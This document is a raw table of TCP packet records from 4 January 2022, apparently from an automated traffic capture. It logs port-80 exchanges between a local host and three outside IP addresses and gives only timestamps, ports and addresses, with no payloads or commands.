Jan 4, 2022 19:33:49.415236950 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:49.415265083 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:49.415338993 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:49.469218969 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:49.473351955 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:49.473375082 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:49.473392010 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:49.473409891 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:49.473427057 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:49.473459005 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:49.473525047 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:49.473534107 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:49.473864079 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:49.473887920 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:49.473912001 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:49.473958969 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:49.474023104 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:49.474045992 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:49.474081039 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:49.474353075 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:49.474375963 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:49.474399090 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:49.474417925 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:49.474442005 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:49.474457979 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:49.474512100 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:49.474829912 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:49.474874973 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:49.474898100 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:49.474920988 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:49.474936008 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:49.474942923 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:49.474977016 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:49.475435972 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:49.475498915 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:49.475874901 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:49.475898981 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:49.475959063 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:49.479378939 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:49.479403973 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:49.479419947 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:49.479490995 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:49.479512930 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:49.479567051 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:49.479851961 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:49.479868889 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:49.479887009 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:49.479924917 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:49.479939938 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:49.479988098 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:49.480068922 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:49.480340958 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:49.480357885 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:49.480374098 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:49.480395079 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:49.480423927 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:49.480454922 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:49.480557919 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:49.480575085 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:49.480608940 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:49.480832100 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:49.480870008 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:49.480886936 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:49.481025934 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:49.481087923 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:49.481091976 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:49.481111050 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:49.481157064 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:49.481434107 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:49.481887102 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:49.481909990 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:49.481983900 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:49.539364100 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:49.539479017 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:49.539499044 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:49.543231010 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:49.543251038 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:49.543267012 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:49.543324947 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:49.543361902 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:49.543401003 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:49.543446064 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:49.543701887 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:49.543833971 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:49.543854952 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:49.543876886 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:49.543895006 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:49.543937922 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:49.543977976 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:49.544234037 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:49.544282913 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:49.544295073 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:49.544317961 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:49.544347048 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:49.544359922 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:49.544471979 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:49.544524908 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:49.544785023 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:49.544812918 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:49.544842958 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:49.544864893 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:49.544883966 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:49.544908047 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:49.544941902 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:49.545373917 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:49.545420885 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:49.545619965 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:49.545644045 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:49.545686007 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:49.603317976 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:49.606734037 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:49.606817007 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:49.606874943 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:49.636507034 CET	49874	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:49.668864965 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:49.694386959 CET	80	49874	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:49.694502115 CET	49874	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:49.694626093 CET	49874	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:49.696017027 CET	49874	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:49.743904114 CET	80	49874	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:49.747229099 CET	80	49874	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:49.788990021 CET	80	49874	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:49.789191961 CET	49874	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:50.176367044 CET	49874	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:50.225667000 CET	80	49874	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:50.537785053 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:50.600070953 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.600193024 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:50.627331972 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:50.689692020 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.690589905 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.690623045 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.690645933 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.690668106 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.690690041 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.690711975 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.690732956 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.690746069 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:50.690756083 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.690779924 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.690784931 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:50.690802097 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.690818071 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:50.690886974 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:50.753005028 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.753066063 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.753108978 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.753145933 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.753182888 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.753196955 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:50.753211021 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.753228903 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:50.753248930 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.753269911 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:50.753285885 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.753319979 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.753345966 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.753345966 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:50.753371954 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.753401041 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:50.753405094 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.753443003 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.753456116 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:50.753470898 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.753498077 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.753525019 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.753529072 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:50.753552914 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.753577948 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.753577948 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:50.753607988 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.753633976 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:50.802773952 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:50.815849066 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.815890074 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.815917015 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.815948009 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.815975904 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.816009045 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.816020966 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:50.816047907 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.816056967 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:50.816081047 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.816112041 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.816148043 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:50.816154003 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.816169977 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:50.816188097 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.816215992 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.816242933 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.816268921 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.816294909 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.816322088 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.816342115 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:50.816359997 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.816384077 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:50.816390038 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:50.816392899 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:50.816402912 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.816442966 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.816468954 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:50.816484928 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.816521883 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.816539049 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:50.816557884 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.816596031 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.816613913 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:50.816636086 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.816673994 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.816711903 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.816725969 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:50.816747904 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.816782951 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:50.816787004 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.816824913 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.816874981 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:50.816900969 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.816939116 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.816956997 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:50.816976070 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.817015886 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.817028046 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:50.817051888 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.817089081 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.817101955 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:50.817126989 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.817174911 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:50.867454052 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.867527008 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.867594004 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:50.881350994 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.881391048 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.881419897 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.881448984 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.881477118 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.881499052 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:50.881505966 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.881522894 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:50.881536961 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.881567955 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.881582975 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:50.881606102 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.881629944 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:50.881635904 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.881666899 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.881697893 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.881705999 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:50.881726027 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.881756067 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.881784916 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.881813049 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.881843090 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.881863117 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:50.881870031 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:50.881870031 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.881884098 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:50.881900072 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.881932020 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:50.881932974 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.881995916 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:50.882034063 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.882066011 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.882098913 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.882121086 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:50.882127047 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.882177114 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.882179976 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:50.882246971 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.882285118 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.882301092 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:50.882313967 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.882343054 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.882375956 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.882390976 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:50.882414103 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.882437944 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:50.882443905 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.882500887 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:50.882663965 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.882702112 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:50.882759094 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.208772898 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.250433922 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.312731028 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.312788010 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.312827110 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.312891006 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.312947035 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.313003063 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.313013077 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.313045979 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.313060045 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.313105106 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.313105106 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.313158035 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.313174009 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.313199043 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.313235044 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.313251972 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.313271999 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.313306093 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.313327074 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.313333035 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.313368082 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.313400984 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.313405037 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.313438892 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.313471079 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.313476086 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.313513994 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.313533068 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.313550949 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.313585997 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.313613892 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.313621998 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.313658953 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.313683987 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.313694000 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.313730001 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.313760042 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.313766003 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.313802004 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.313828945 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.313838959 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.313874006 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.313910007 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.313911915 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.313947916 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.313982010 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.313982964 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.314018965 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.314038992 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.314054966 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.314090014 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.314109087 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.314126015 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.314160109 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.314177036 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.314194918 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.314232111 CET	80	49875	141.8.193.236	192.168.2.5
